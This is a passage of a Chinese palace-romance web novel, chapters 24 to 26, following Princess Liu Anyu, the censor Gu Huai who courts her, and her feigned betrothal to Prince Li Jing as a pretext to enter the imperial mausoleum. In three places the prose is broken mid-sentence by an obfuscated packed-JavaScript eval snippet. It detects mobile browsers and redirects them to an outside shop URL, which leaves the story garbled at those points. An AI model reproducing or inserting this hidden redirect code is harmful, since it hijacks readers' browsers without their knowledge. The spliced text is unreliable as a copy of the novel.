皇帝犹疑着,却不得不承认,此刻孑然一身的顾淮,是他最好的选择。 终于,皇帝松了口,距放榜足足一月,顾淮这个探花郎才被委任了官职,授为监察御史。 * 一肩风絮,春未尽,夏初临。 天气渐渐燥热起来,日头照得刺眼,柳安予在太医的建议下,每日出门到南屏山走个一炷香,活动活动筋骨。这身子骨硬朗一些,伤也能好得快些。 轿子每过京门口,便能见到新任的御史大人提着一盒吃食,翘首献上,就为了能与轿中人搭上一句话。 “郡主,顾御史又在那候着了。”青荷在轿外轻言,声调不高,但足以让柳安予听清。 柳安予长发挽起,露出一截白玉似的脖颈,今日戴了个珊瑚红的耳坠,看起来有气色多了。 她纤纤玉指翻过一页书,头也不抬平声道:“他愿意候着就让他候着,又不是我叫他在那等的。” 青荷抿了抿唇,不再多言。 “郡主,微臣今日制了藕粉糖糕,您尝尝?”顾淮局促地捏着食盒,温声问道。 “郡主不喜甜,御史大人且歇了忙案子去罢。”青荷立即接了话茬,不肯接过,轿子速度丝毫未减,就在顾淮面前眼睁睁行过。 柳安予指尖微动,听着外头没有了声音,挑起帘子一角往顾淮那处看去。 新任的御史大人换了绯色官袍,头发束得一丝不苟,腰间系着青地荷莲锦绶带,头冠配獬豸角。 鼻梁高挺,眉目深邃,好一个意气风发的少年郎。 五月榴花照眼明,枝间时见子初成。 恰如其分的阳光撒在他的轮廓,出门时柳安予瞥过眼看去,只觉得日光刺眼,如今却觉得光影温柔,如化开的金色墨块晕在画卷上。 再好看,跟我有什么关系呢? 柳安予静静垂眸,阳光透过轿帘的缝隙打在她脸上,可她自己都没意识到,自己也是别样的风华绝代。 她放下帘子。 顾淮痴痴站在原地,失落地拎着食盒。 柏青眼瞅着自家公子失了魂一般,伸手在他眼前晃了晃,“公子?公子?” 他一晃神,沉眸将食盒扔给柏青,语气同方才判若两人,“......扔了吧。” “扔,扔了?”柏青愣住。 “嗯。”顾淮将食盒扔到柏青怀里,冷眸凝声,“她不要,那便谁也别要。” 柏青愣了一瞬,不可置信地看着顾淮转身大步流星地往朝中赶。 明明是一晨早便起来做的,怎么说不要就不要就不要了? 柏青看看手中的食盒,确定顾淮没有回头,眼疾手快偷出一块塞进嘴里,这才屁颠屁颠儿跟上。 如此反复,顾淮站了十多日,每日都是精巧的小糕点备着,还有一封书信。 他日日翘首以盼,塞不进吃食,便想塞个书信进去。 他想认错,不料柳安予不想再陪他玩了。 他大刀阔斧,毫不留情地查了一卷总的人名,如今朝廷上下人人自危,恨极了顾淮。 柳安予这日再碰到他时,人狼狈极了。 只见顾淮一身脏烂的菜叶鸡蛋,官帽也被扯掉了,浑身散发着暗暗的臭味,独怀中的一纸书信完好无损。 “青荷,这是怎么回事儿?”柳安予忍不住悄声问道。 “回郡主,秫香馆今日查封了,好些百姓也在闹。许是愤恨过了头,在街上便砸了东西,顾御史的食盒也被掀飞了。”青荷抿了抿唇,一股脑全倒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13972995|146111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来。 轿子与人擦肩而过,顾淮欲言又止,手在半空不知是拦还是不拦,挣扎几瞬,顾淮认命般垂下了手。 眼尾熟悉地“耷拉”下来,看起来像流浪的阿猫阿狗。 他身量清癯,如松如竹,如玉的指节捏着那张送不出的信,无措极了。 柳安予眸色渐深。 “公子,走罢。”柏青不懂顾淮为何每次都要站这么久,日日来盼,轿中那位分明连个好脸都不曾给过他。 哦不对,连脸都未见到。 柏青心里小声吐槽,面上却还是耐心劝着。 顾淮指尖瑟缩,眼底炽热滚烫的温度渐渐冷却,薄唇紧抿,无奈叹息,“唉......走罢。” 他转身刹那,身后传来青荷急急的叫喊。 “御史大人!御史大人请留步——”青荷跑得急,跑到近前时还在气喘吁吁。 她伸手擦了擦额上的汗,手盖额头遮阳道:“御史大人,我家郡主遣奴婢来收信。” 顾淮怔愣片刻,顿时欣喜若狂地递上书信,手都在颤抖。 “郡主还遣奴婢,转告两句话。”青荷收好信,一五一十地转达着柳安予的话。 “既然选择了一条荆棘路,那便请大人一条道走到黑,决计不要心软,也不要回头。” “入夏味酵得快,大人就莫在这儿耗着了,回去处理得干干净净,又是光风霁月的一个人物。” 青荷言罢,福了福身,又匆匆忙忙地赶回去撵上轿子。 顾淮愣在原地,想了许久这两句话。 光风霁月?他头一次听到用这一个词来形容他,稀奇,可心底突然多了什么发了芽。 他不自觉地敛颚笑了,穿着自己破破烂烂的官服转身便走,柏青连忙跟上。 这边柳安予拿到了信,思索片刻开了封,上面娟秀有力的字体排列整齐,落款是顾淮的字。 她垂眸看过去,一个字一个字地细读。 【郡主亲启】 【微臣有一事,特此禀报......】 25. 25 入皇陵 【郡主亲启:】 【微臣有一事,特此禀报。】 柳安予的指尖微颤,抚过顾淮骨力劲健的字迹,字字句句看去,眸光渐深。 【秫香馆一事,二皇子决定弃车保帅,沈忠命不久矣。】 【家父亦危。】 ...... 【皇陵先皇后墓中......】 ...... 薄薄一张纸里,顾淮将二皇子的计划和盘托出,他不知哪个消息能对她有用,便把知道的都题了出来。 无需那些缠绵悱恻的情话。 他有用处,就是吸引柳安予最大的筹码。 到了南屏山,柳安予搭着青荷的手下轿。 “郡主,您慢点。”青荷温声道。 樱桃在一旁顺眉,半撩开帘子。 “带火折子了吗?”她下轿站定,抬眸望向山顶,轻轻问道。 青荷一愣,“带了带了。”连忙从袖中翻找出来递过去。 柳安予的手捻着信的一角,另一只手点燃了信纸,火焰猛窜,她一瞬瑟缩收回了手。 青荷讶异地看向柳安予,不明白为何要烧掉顾淮的信。 柳安予拢了拢披风,面色无悲无喜,风乍起,顾淮的信静静在她脚边燃着,直到火焰渐渐熄灭,地下一团灰烬。 “走罢。”她的声音轻若叹息。 日光下,她跨过那片灰烬,一步一步走向南屏山。 * “我愿意,与李璟成亲。” 柳安予说这话时,长公主还在气,听着柳安予叉起半块糕点放入口中,语气淡淡地说出这句,长公主欣喜若狂,诧异地转过头看她。 “你,你当真?”长公主眸子亮了亮。 柳安予用帕子搌了搌唇,垂眸轻声道:“当真。” “太好了!”长公主捧着她的小脸吧唧亲了一口,抬手连忙叫人拿黄历来看,眉眼弯弯数着日子。 “七月十一,倒是个好日子。”长公主粗略地先看了看,她倒也不急着定下,这事急不得,还要找钦天监的人拿了二人的生辰八字,好好算算才成,她不过是过过眼瘾罢了。 “可以先定亲。”柳安予出奇地开口建议道。 长公主挑眉揶揄,“怎么,今个太阳打西边升起来了?你先前不是百般不愿吗,怎么还自己想通了?” 柳安予淡定地喝了一口茶,缓声道:“先前安乐执拗,不愿结亲,主要是想着做女官,如今......倒觉得身心俱疲,不想再揽什么事了。” 长公主以为柳安予说的左相,心疼地将人搂在怀里,无奈地叹息,“唉,本宫知道,你一直是个有抱负的孩子。可女官也不是百般的好,宦海浮沉,多少绵里藏针的腌臜事,本宫也是心疼你,不想你去趟那趟浑水。” “安乐都知道。”柳安予睫毛低垂,掩盖着眸底情绪温声附和。 “这事儿,修常那小子知道不?”长公主捏了捏她的脸颊问道。 柳安予伤后消减了不少,脸上的软肉只能捏起一小块,又给长公主心疼了一阵。 “还不知道呢。”柳安予抿唇道:“安乐想让您替安乐去说。” “你呀你。”长公主刮了刮她鹅脂一般的翘鼻,调笑道:“怎么还羞上了?” “殿下!”柳安予小声抗议道。 “好好好,不说你。”长公主点了一下她的额头,笑脸盈盈起身叫巧莲。 李璟知道消息后,恨不得高兴地跳房顶上大喊,马不停蹄地去皇帝那请了一道赐婚的旨意,又去钦天监选了个定亲的好日子。 “五月二十?”柳安予挑眉。 “是有点赶。”李璟不好意思地挠了挠头,局促地温柔解释,“虽只有七日准备,你却完全不必担心!父皇赐了好些东西,再加上我先前备的,尽是我予你的聘礼。皇后赐了一套凤尾璃珞水晶凤冠,我瞧过了,你戴上,定是沉鱼落雁、姿容绝代。” 他眸子亮晶晶的,轻声着同柳安予说话,掰着手指头算,“今个我又来提亲,这算一日。互换庚帖,压在灶君神像前净茶杯底,问三日凶吉。一切无常,再去钦天监排八字,再加上纳征、请期,七日时间刚刚好。” 他到现在都不敢相信,自己真的要娶柳安予了,手指颤抖地数了又数,心思却飞到了九霄云外。 整个人还在做梦一样,像是陷在云里。 柳安予挥了挥手,将他的思绪唤回,温声道:“你定就好。” “我只有两个要求。”柳安予沉声道。 “你说。”李璟毫不犹疑地开口,眸光一刻不错地落在她身上。 今天就算是柳安予说出了一百个、一千个要求,要他李璟上刀山下火海,他也心甘情愿,全力满足。 “一是不要铺张,如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13996991|146111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝廷动荡、百姓不得安居,不宜太过张扬。”柳安予顿了顿,斟酌开口。 “好。”李璟眸光暗淡一瞬,却还是弯眉一口应下,“那就不张扬,都听你的。” “二便是......”柳安予眼神闪了闪,“纳吉之前,我想先去祭拜一下先皇后。” 先皇后?李璟怔忪,先皇后难产而死,葬在皇陵,皇帝下了道令所有人都费解的圣旨—— 只可祭拜,不允探视。 即便是李璟,也未曾进过皇陵中,见一见母后的遗容。 “......好。”李璟深呼吸一口气,眸中攒着点点细碎的星光,“结亲之前,确实要去告知一下额娘。额娘向来喜欢漂亮的小姑娘,乳母说我出生时,她知道是个皇子,还消沉了一阵呢。”他轻轻抬起手,想要帮柳安予拢起额前挡眼的碎发。 却被她下意识躲开,柳安予躲完反应过来,又迟疑着凑过去。 李璟心底划过一丝失落,用笑意遮住眼底的失落,装作什么事情都没有发生一样,轻轻为她拢起碎发。 他轻声道:“额娘一定会很喜欢你。” 他唇角牵起,悠然清浅。 “因为你是我见过的,这世间最好最好的女子。” 对于他的赤诚,柳安予只想躲。 她敛了敛眸不敢去看那双真诚的眼睛,她并非真心想嫁与他,她只是想去皇陵一探究竟。 只要......在纳吉之前寻个由头结束。 她抬眸生疏地冲他牵了牵嘴角。 就不算,太过负他...... * “给你,血。”顾淮擦去嘴角的血污,将今日弄来的七皇子血递给李琰。 李琰躺在软榻上,慢条斯理地接过来对着烛光看了看,邪魅笑道:“不愧是父皇钦点的御史大人,一天天烂摊子事这么多,还能想着本皇子的事儿呢。” 顾淮神色冷冷,半个身子陷在黑暗里,“二皇子殿下别忘了答应微臣的事就好,还差三日,微臣只要广兰花。” “那是自然。”李琰捡了一把瓜子半撑着嗑,眸光幽深扫了扫他,“本皇子倒是好奇,你非盯着方信那株广兰花干嘛?” 顾淮盯着他,浑身散发着一种疏离,一垂眸,闭口不谈,“走了。” “呵。”李琰冷笑,却也没拦他,将手中瓜子扔回金碟子里,不知在想些什么。 26. 26 入皇陵 柳安予和李璟的定亲礼在紧张筹备中。 一晨早柳安予推开窗,便见院中摆着一个金笼,两只大雁系着红绸子,在笼中栖到一起。 “郡主醒了?”青荷眼尖,一眼便注意到她。 “安乐!”李璟连忙擦擦汗,一脸纯良地闯入她的视线。 人逢喜事精神爽,他这几日变着花样地打扮自己。今个一身靛蓝色银丝长袍,袖缘是贝壳纹的滚边,头发束得一丝不苟,还戴着嵌珍珠的银冠,眉眼修长疏朗,威仪秀异。 “来这么早?”柳安予眸中闪过一丝讶异,她撑在窗边,“这是......大雁?” “是。”他温润的眼眸微敛,有些不好意思,“都听人说送雁好,秋去春回,从不失时节。” “姑爷一大早便去猎的,这猎雁,弄个伤弄个血都是常事,无可避免。可奴婢却瞧着这雁大,毛又亮又柔顺,身上一点伤痕都没有,想来是姑爷费了心思的。”青荷在一旁搭话,笑了笑,“雁都是忠贞之鸟,一配而终,是好寓意。” 柳安予听着青荷张口闭口的“姑爷”二字,本想张口说什么,却见李璟听得眉梢带喜,从袖里掏出一锭金子塞给青荷。 “劳你给找个地方安置好。”李璟眼眸一弯,说完抬起眼看向柳安予。 青荷的眼睛在两人间滴溜溜一转,连忙收起金锭笑道:“是,奴婢这就去。” “樱桃!”青荷转头高声唤了一句。 “哎。”樱桃还在浇花,闻言连忙应声。 “伺候郡主盥洗。”青荷抱起金笼子,边走边道。 樱桃连忙放下东西,叫人来。 侍女端来清泉水,侍候柳安予,樱桃走近看见在一旁傻站着的李璟,福了福身道:“姑爷莫在这儿站着了,那处有藤椅,您且歇着罢。” “好。”李璟微微颔首,目光扫到樱桃手中端着的两套衣裙,“这是一会儿安乐要换的吗?” “是。”樱桃点点头。 “你帮我挑一件罢。”柳安予注意到这边的动静,擦了擦脸温声道。 “我吗?我吗!”李璟红了红耳根。 有点像......婚后日常,夫君在帮娘子挑衣裳。 “嗯。”柳安予拧眉,有点奇怪地看着他。 他脸红个什么劲儿? 李璟看了看两套衣裙,手指抚摸过上面的花纹,一条是霜色绣百合的软罗裙,另一条则是韶粉荷花绢纱的样子。 “这件罢。”李璟选了那件霜色的软罗裙。 柳安予肌肤本就透白,穿这种颜色的衣裳便显得肌肤更加透亮,他坐在门口的藤椅上等着,刚喝完一盏茶,柳安予便推门出来。 细碎的阳光洒在她身上,她扶着门边踏出来,薄薄的裙子隐隐约约露出她纤细的藕臂,如瀑般墨色的长发是她身上唯一的重色,朱唇嫩红,轻撩发丝。 “好看吗?”柳安予淡淡勾唇问着。 黛色的柳叶眉像一笔清丽骨健的笔画,名家工笔里最精彩的一笔。 “好,好看。”李璟痴痴眨眨眼,回道。 他上前伸出小臂,柳安予顺势搭上去。 “今天去见我额娘好不好?”他敛眸不敢多看,温声询问着。 正合她心意,柳安予稍稍用力攥住他的臂缚,朱唇轻启,“好。” 他怕路上颠簸,柳安予受不住,便用了自己宫中最好的马车,车里用软缎子厚厚铺了一层,才牵着柳安予进去。 马车从郡主府门前出发,与将将走来的顾淮擦肩而过。 他登时顿了脚步,看着微风吹过带起帘子,匆匆一瞥到柳安予精巧的下颌。 旁边,是笑着说话的李璟。 顾淮顿在原地,一身绯色官袍登时落了风采,无措地攥着手中的一把雕花洒金扇。 柏青自然也是看到了,小心翼翼地观察着顾淮的神情,见其眸色深沉,泛着冷意,手心渐渐攥紧勒出青筋。 “公子,人家都要定亲了。”柏青弯腰狗狗祟祟地问着,“......咱还送吗?” “送。”顾淮冷眸扫过马车上的璟字,冷笑反问,“为何不送?” 他大步流星打道回府,拎着那把雕花洒金扇子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14009976|146111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “要定亲,不是还没定?”顾淮脊背笔直,眼眸渐深,慢条斯理地又补了一句,“我不仅要送,还要当着李璟的面,亲自送。” “今个先回罢。”顾淮扔下这句,后面柏青连忙跟上,一头雾水地挠了挠头。 * 李璟恭敬拜了三拜,端正地上了香。 “额娘,孩儿带安乐来看你了。” 柳安予跪在他的身侧,虔诚地合十双手。 钦天监监生韩昭在一旁捣鼓着一些柳安予看不懂的仪式。 “好了。”韩昭朝两位行礼,“娘娘在天之灵,定会欣慰。” 李璟起身拍拍膝盖,伸手将柳安予扶起,不等她弯腰,便先行蹲下去为她拍灰。 韩昭识趣地转过身。 柳安予有点不适应,拉了拉他的袖子,轻声道,“修常,我们进皇陵给先皇后扫扫棺椁罢。” 李璟抬头先看了看她,转头又看了一圈周身,好在,都是他的人。 他微微沉吟,还在犹豫着。 “先皇后在此长眠,又无守陵人,棺椁上定是积了一层厚灰,我们偷偷进去,很快就出来,嗯?”柳安予手指轻轻碰了碰他,躬身凑近时,一股荷花清香扑近。 李璟耳根子软,近乎被蛊惑了一般点头,“好。” 韩昭硬着头皮守在外面,两人牵着袖子缓缓步入皇陵。 * 皇陵极尽奢靡,四周墙壁盘环砖雕图案,梁枋绘着贴金和玺彩画。 最中央是一方白玉棺椁,雕着龙凤图案,眼目嵌着微微泛光的夜明珠,看起来栩栩如生。 柳安予拿着韩昭给的软毛小扫帚靠近棺椁,李璟低头细心扫着积灰,只有柳安予手抚过棺椁,似在摸索着什么。 “安乐?”李璟注意到她的动作。 “嘘。”柳安予手指抵在唇中,认真地看向他,另一只手终于摸到溢出凹陷,啪嗒一按,棺椁盖轰隆一声开始推移。 李璟登时闪开,震惊地看着棺椁打开露出其内真容。 柳安予垂眸,冷声道:“修常,你被骗了。”